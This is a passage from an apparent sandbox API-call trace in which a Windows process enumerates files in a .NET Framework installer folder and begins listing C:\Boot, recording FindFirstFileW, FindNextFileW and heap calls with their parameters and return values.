ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.727] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x10b, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0088.728] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x10b, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0088.729] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0088.729] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0088.729] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x10b, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0088.729] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x10b, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0088.729] FindClose (in: hFindFile=0xc19bb8 | out: hFindFile=0xc19bb8) returned 1 [0088.732] GetProcessHeap () returned 0xc00000 [0088.732] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.733] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0088.733] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0088.733] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0088.733] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0088.733] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0088.733] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0088.733] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0088.744] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0088.745] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0088.745] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0088.745] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0088.745] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0088.747] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.750] GetProcessHeap () returned 0xc00000 [0088.750] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3740058 | out: hHeap=0xc00000) returned 1 [0088.750] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2fdf818 | out: lpFindFileData=0x2fdf818*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0088.750] GetProcessHeap () returned 0xc00000 [0088.750] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3740058 [0088.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc199f8 [0088.752] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, 